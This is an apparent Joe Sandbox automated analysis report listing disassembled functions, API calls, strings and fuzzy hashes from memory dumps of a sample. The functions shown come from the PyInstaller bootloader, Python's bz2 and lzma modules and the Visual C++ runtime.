Opcode ID: a795c7ce3634cae38f4d320bfb7043b724aba026ad47a4d3d8bcb9e9dd899c8c
Instruction ID: 2a6c48d53bcaf9ac9f80402c1588e5d9693b901885534e8f5aee6860a6825129
Opcode Fuzzy Hash: a795c7ce3634cae38f4d320bfb7043b724aba026ad47a4d3d8bcb9e9dd899c8c
Instruction Fuzzy Hash: 97313AFAB18A5189EB02CB7DD8982BC37B4BB08748F548135DB1C56B98DF38E904C708

Function 00007FF7FF582A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF7FF58351A,?,00000000,00007FF7FF583F23), ref: 00007FF7FF582AA0

Strings

Warning, xrefs: 00007FF7FF582B1E
[PYI-%d:%s] , xrefs: 00007FF7FF582AA8
0, xrefs: 00007FF7FF582B16
WARNING, xrefs: 00007FF7FF582AAF
Warning [ANSI Fallback], xrefs: 00007FF7FF582B0F

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction ID: 496f0574b170c3ee05a47b060994296b557076bf22040d951dd61f4e7a784b42
Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction Fuzzy Hash: 2821A3326197C192E720AB51B8417E6A794FB887C4F800231EEAD43699DF7CD645C790

Function 00007FF7FF588760 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7FF588780
OpenProcessToken.ADVAPI32 ref: 00007FF7FF588793
GetTokenInformation.ADVAPI32 ref: 00007FF7FF5887B8
GetLastError.KERNEL32 ref: 00007FF7FF5887C2
GetTokenInformation.ADVAPI32 ref: 00007FF7FF588802
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7FF58881E
CloseHandle.KERNEL32 ref: 00007FF7FF588836

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 2fab73a517e5e84f4798a751f7d9f27a96a1384f55cc7f8e1d1021d9771b9e73
Instruction ID: 31d7f8be36e7431e17f9a85cd543db170859c106f42b0e6d533bb689fe0fbb5b
Opcode Fuzzy Hash: 2fab73a517e5e84f4798a751f7d9f27a96a1384f55cc7f8e1d1021d9771b9e73
Instruction Fuzzy Hash: 62217E21A0C68342EB10AB55F4942AAE7A0FB857A0F900735EABD47AE4DF6CD455CB90

Function 00007FF7FF59B1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7FF59B1CF
FlsGetValue.KERNEL32 ref: 00007FF7FF59B1E4
FlsSetValue.KERNEL32 ref: 00007FF7FF59B205
FlsSetValue.KERNEL32 ref: 00007FF7FF59B232
FlsSetValue.KERNEL32 ref: 00007FF7FF59B243
FlsSetValue.KERNEL32 ref: 00007FF7FF59B254
SetLastError.KERNEL32 ref: 00007FF7FF59B26F

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 64d992c46ee3b7395fe78fb810fe312dfe396e54660f00f57cdb80144ae96788
Instruction ID: 784c47c2e81931832228ac7914824a95dcd60d85791ae149f28b2d624b9da380
Opcode Fuzzy Hash: 64d992c46ee3b7395fe78fb810fe312dfe396e54660f00f57cdb80144ae96788
Instruction Fuzzy Hash: 50217C24E0D6CA92FB7C736156511FDE2829F447A0F948734D93E47AE6DE2CA40183E0

Function 00007FFBBB6322D4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58threadCOMMON

Download Yara Rule

APIs

PyThread_allocate_lock.PYTHON313(?,?,00000009,00007FFBBB6322B2), ref: 00007FFBBB6322FC
_Py_Dealloc.PYTHON313(?,?,00000009,00007FFBBB6322B2), ref: 00007FFBBB63B268

Part of subcall function 00007FFBBB632078: memset.VCRUNTIME140 ref: 00007FFBBB6321CD

_Py_Dealloc.PYTHON313 ref: 00007FFBBB63B294
PyErr_SetString.PYTHON313(?,?,00000009,00007FFBBB6322B2), ref: 00007FFBBB63B2B1

Strings

Unable to allocate lock, xrefs: 00007FFBBB63B275
compresslevel must be between 1 and 9, xrefs: 00007FFBBB63B2A7

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Dealloc$Err_StringThread_allocate_lockmemset
String ID: Unable to allocate lock$compresslevel must be between 1 and 9
API String ID: 451674277-2500606449
Opcode ID: a38d9172713ad1f46b3fa9721c5749e80862db88273002e46d4f79451db2f167
Instruction ID: 919f304abb8ea69e3e97b41c6a82bee4d785f3935922b64786d705962ec60f20
Opcode Fuzzy Hash: a38d9172713ad1f46b3fa9721c5749e80862db88273002e46d4f79451db2f167
Instruction Fuzzy Hash: A721B5A3A09A0681EB149B3DEC8537CA3A4BF59B48F588135CB0F426B5DE3CEC55C718

Function 00007FFBBB63383C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

PyThread_allocate_lock.PYTHON313(?,?,?,00007FFBBB633814), ref: 00007FFBBB633852
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB633885
_Py_Dealloc.PYTHON313(?,?,?,00007FFBBB633814), ref: 00007FFBBB63B7C0
PyErr_SetString.PYTHON313(?,?,?,00007FFBBB633814), ref: 00007FFBBB63B7D7
_Py_Dealloc.PYTHON313 ref: 00007FFBBB63B7F9

Strings

Unable to allocate lock, xrefs: 00007FFBBB63B7CD

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: DeallocString$Bytes_Err_FromSizeThread_allocate_lock
String ID: Unable to allocate lock
API String ID: 553681934-3516605728
Opcode ID: 31b2bb2a81d768a39f46c27a77fbce41591dc4b3623782c16d271c9a058ee8dc
Instruction ID: 800e1fb27ac5018b642889fb47af4603cd1cc7e9eef718e4e1f04dbc4b854fea
Opcode Fuzzy Hash: 31b2bb2a81d768a39f46c27a77fbce41591dc4b3623782c16d271c9a058ee8dc
Instruction Fuzzy Hash: 1421C3A3A19A0281FB559B3DDC55378A2A0FF48B59F089135CB0F4A2A5DF7CE849C319

Function 00007FF7FF5A7DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7FF5A7E0D
GetLastError.KERNEL32 ref: 00007FF7FF5A7E19
CloseHandle.KERNEL32 ref: 00007FF7FF5A7E31
CreateFileW.KERNEL32 ref: 00007FF7FF5A7E5C
WriteConsoleW.KERNEL32 ref: 00007FF7FF5A7E7B

Strings

CONOUT$, xrefs: 00007FF7FF5A7E3D

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction ID: 314685293357904ecf1fac36fb6cc006a5f6e1658bc41e2d049bf9b4e829f8ba
Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction Fuzzy Hash: 5C119331B18A8186E750AB56F854369A7A0FB88BE4F840334EA7D877E4DF3CD81487D0

Function 00007FFBBB61198C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON313 ref: 00007FFBBB6119C8
PyMem_Calloc.PYTHON313 ref: 00007FFBBB6119DA
PyErr_SetString.PYTHON313 ref: 00007FFBBB611A0B
PyErr_NoMemory.PYTHON313 ref: 00007FFBBB611A15

Strings

|OO&, xrefs: 00007FFBBB6119B9
Invalid filter specifier for delta filter, xrefs: 00007FFBBB611A01

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Err_$Arg_CallocKeywordsMem_MemoryParseStringTuple
String ID: Invalid filter specifier for delta filter$|OO&
API String ID: 2765563044-2010576982
Opcode ID: 2affb9fe1f810740de34073636c008aaeae26a8f4f44c9b42a9fdf508e638553
Instruction ID: 3ebab33c44416e6d39e4451c41bf828ca39652feaceaf18142ac32b85e8404da
Opcode Fuzzy Hash: 2affb9fe1f810740de34073636c008aaeae26a8f4f44c9b42a9fdf508e638553
Instruction Fuzzy Hash: C011F3F6A09A0396EB048F28E845278B7A4FB49B54F549135DB1E42370EF7DE84AC748

Function 00007FFBBB611900 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON313 ref: 00007FFBBB611939
PyMem_Calloc.PYTHON313 ref: 00007FFBBB61194B
PyErr_SetString.PYTHON313 ref: 00007FFBBB611978
PyErr_NoMemory.PYTHON313 ref: 00007FFBBB611982

Strings

|OO&, xrefs: 00007FFBBB61191F
Invalid filter specifier for BCJ filter, xrefs: 00007FFBBB61196E

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Err_$Arg_CallocKeywordsMem_MemoryParseStringTuple
String ID: Invalid filter specifier for BCJ filter$|OO&
API String ID: 2765563044-3728029529
Opcode ID: 7064889e55b6df43a5fe35f716f8e70b3d3ceef0c1046b6eb05edbc02d36a5e3
Instruction ID: 3be08fffc74d21c3700496f28f078a6a6c2a4e9879fe18d2936d48180961d7d7
Opcode Fuzzy Hash: 7064889e55b6df43a5fe35f716f8e70b3d3ceef0c1046b6eb05edbc02d36a5e3
Instruction Fuzzy Hash: 440105F1A09A4685EB04CF38DC45278B3A4BB44B54F509035CB1E42370EF3DE90AC398

Function 00007FFBBB63C800 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBBB63C80D

Part of subcall function 00007FFBBB63C7BC: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,00007FFBBB63B042), ref: 00007FFBBB63C7F2

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBBB63C839
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBB63C853

Strings

1.0.8, 13-Jul-2019, xrefs: 00007FFBBB63C813
bzip2/libbzip2: internal error number %d.This is a bug in bzip2/libbzip2, %s.Please report it to: bzip2-devel@sourceware.org. If this happenedwhen you were using some program which uses libbzip2 as acomponent, you should also report this bug to the auth, xrefs: 00007FFBBB63C820
*** A special note about internal error number 1007 ***Experience suggests that a common cause of i.e. 1007is unreliable memory or other hardware. The 1007 assertionjust happens to cross-check the results of huge numbers ofmemory reads/writes, and so ac, xrefs: 00007FFBBB63C842

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: __acrt_iob_func$__stdio_common_vfprintfexit
String ID: bzip2/libbzip2: internal error number %d.This is a bug in bzip2/libbzip2, %s.Please report it to: bzip2-devel@sourceware.org. If this happenedwhen you were using some program which uses libbzip2 as acomponent, you should also report this bug to the auth$*** A special note about internal error number 1007 ***Experience suggests that a common cause of i.e. 1007is unreliable memory or other hardware. The 1007 assertionjust happens to cross-check the results of huge numbers ofmemory reads/writes, and so ac$1.0.8, 13-Jul-2019
API String ID: 77255540-989448446
Opcode ID: bbeb2fe21641ba72e23235041d2a957e10d8786f8ff80ce4925099a74c7efcec
Instruction ID: b0c9d2799752b6013752321d56d706a05865847dcbd6af131aa0fdaabaca08ee
Opcode Fuzzy Hash: bbeb2fe21641ba72e23235041d2a957e10d8786f8ff80ce4925099a74c7efcec
Instruction Fuzzy Hash: E4E039A2A0860752FA185B7CEC95274A365BF14700F00C03EDB0F072B2EEAC2D05C2A9

Function 00007FFBBCD4967C Relevance: 9.2, APIs: 6, Instructions: 160COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFBBCD4972E
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4973E
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4975B
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD497D2
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD497FB

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: fb95027d3fcee506583ce7d96f70b522a78626fdc6e378da2ca402aa0a92e4da
Instruction ID: 3cd00e72fbf57066d70ce0f7cf1f1acb310c40e785f3af613489bc68076106f3
Opcode Fuzzy Hash: fb95027d3fcee506583ce7d96f70b522a78626fdc6e378da2ca402aa0a92e4da
Instruction Fuzzy Hash: 7D7188FAB18A5288FB10CB7ED8883AC37A5BB40784F588035DB2D07695DF79E846C704

Function 00007FF7FF588560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF7FF589216), ref: 00007FF7FF588592
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF7FF589216), ref: 00007FF7FF5885E9

Part of subcall function 00007FF7FF589400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7FF5845E4,00000000,00007FF7FF581985), ref: 00007FF7FF589439

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF7FF589216), ref: 00007FF7FF588678
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF7FF589216), ref: 00007FF7FF5886E4
FreeLibrary.KERNEL32(?,?,00000000,00007FF7FF589216), ref: 00007FF7FF5886F5
FreeLibrary.KERNEL32(?,?,00000000,00007FF7FF589216), ref: 00007FF7FF58870A

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 6dbcf2dde03bb6a38809b7a2ae0e65b19fecec932480a4a95577cfdf2dcaf52f
Instruction ID: dc71c123385a93be16f486061bf5243f00c909a177be6d40365a02fc510fd84e
Opcode Fuzzy Hash: 6dbcf2dde03bb6a38809b7a2ae0e65b19fecec932480a4a95577cfdf2dcaf52f
Instruction Fuzzy Hash: 3B41A462B196C241EB30BB12A5446EAA3A4FB84BC5F840235DF7D97BC5DE3CD501C7A4

Function 00007FFBBB632BF8 Relevance: 9.1, APIs: 6, Instructions: 115threadCOMMON

Download Yara Rule

APIs

PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB632C31
PyList_New.PYTHON313 ref: 00007FFBBB632C48
PyEval_SaveThread.PYTHON313 ref: 00007FFBBB632CB2
PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB632CCC
_Py_Dealloc.PYTHON313 ref: 00007FFBBB63B499
_Py_Dealloc.PYTHON313 ref: 00007FFBBB63B4E8

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: DeallocEval_Thread$Bytes_FromList_RestoreSaveSizeString
String ID:
API String ID: 722544280-0
Opcode ID: 1ec775829b225900bde4c9dbe14ace5db717f71bae4f6aececd6e8635a69a766
Instruction ID: c8d042a03b291b0e15a657c4e83d7863a3a23200ea34af7e586f0fbe345e45ae
Opcode Fuzzy Hash: 1ec775829b225900bde4c9dbe14ace5db717f71bae4f6aececd6e8635a69a766
Instruction Fuzzy Hash: F14173A3A05B0296EAA59B3DDD04378A2A0FB54B54F188235DF5E437A5DF3CEC51C348

Function 00007FFBBB633414 Relevance: 9.1, APIs: 6, Instructions: 111threadCOMMON

Download Yara Rule

APIs

PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB633457
PyList_New.PYTHON313 ref: 00007FFBBB63346E
PyEval_SaveThread.PYTHON313 ref: 00007FFBBB6334CB
PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB6334E2
_Py_Dealloc.PYTHON313 ref: 00007FFBBB633569
_Py_Dealloc.PYTHON313 ref: 00007FFBBB63B710

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: DeallocEval_Thread$Bytes_FromList_RestoreSaveSizeString
String ID:
API String ID: 722544280-0
Opcode ID: ccc0e9a76ea1aa43825ab1fd4ac5b019393842f9738757de9c5c8e866fa1cb40
Instruction ID: ffea4b87c140646e8825ada27c124ce744647f3810309753819a51b6dde51a3e
Opcode Fuzzy Hash: ccc0e9a76ea1aa43825ab1fd4ac5b019393842f9738757de9c5c8e866fa1cb40
Instruction Fuzzy Hash: 404152B3A1975282EA608B3DE84476CA2A4FB48BA4F158235DF5E437E5DF3CE841C704

Function 00007FFBBCD450B0 Relevance: 9.1, APIs: 6, Instructions: 83stringCOMMON

Download Yara Rule

APIs

__unDName.LIBVCRUNTIME ref: 00007FFBBCD45103
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFBBCD45146
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBBCD45170
InterlockedPushEntrySList.KERNEL32 ref: 00007FFBBCD4518D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFBBCD45199
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFBBCD451A2

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: free$EntryInterlockedListNamePush__unmallocstrcpy_s
String ID:
API String ID: 3741236498-0
Opcode ID: d800493cf60e4af3f4a7c920cc646ece182b7dab7bd32bb736cb4877c8bf044e
Instruction ID: d5aa2caf8389565c1bf32c60708093249cce958bd3b217a8158a713d8e8a0ef5
Opcode Fuzzy Hash: d800493cf60e4af3f4a7c920cc646ece182b7dab7bd32bb736cb4877c8bf044e
Instruction Fuzzy Hash: 5A31A1BAB19B5191EA15CF39E81856933A0BF09FE4B954632DF2D03380EE3DD842C304

Function 00007FF7FF5890E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FF588760: GetCurrentProcess.KERNEL32 ref: 00007FF7FF588780
Part of subcall function 00007FF7FF588760: OpenProcessToken.ADVAPI32 ref: 00007FF7FF588793
Part of subcall function 00007FF7FF588760: GetTokenInformation.ADVAPI32 ref: 00007FF7FF5887B8
Part of subcall function 00007FF7FF588760: GetLastError.KERNEL32 ref: 00007FF7FF5887C2
Part of subcall function 00007FF7FF588760: GetTokenInformation.ADVAPI32 ref: 00007FF7FF588802
Part of subcall function 00007FF7FF588760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7FF58881E
Part of subcall function 00007FF7FF588760: CloseHandle.KERNEL32 ref: 00007FF7FF588836

LocalFree.KERNEL32(?,00007FF7FF583C55), ref: 00007FF7FF58916C
LocalFree.KERNEL32(?,00007FF7FF583C55), ref: 00007FF7FF589175

Strings

S-1-3-4, xrefs: 00007FF7FF589121
D:(A;;FA;;;%s), xrefs: 00007FF7FF589157
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7FF589183
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7FF589142

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
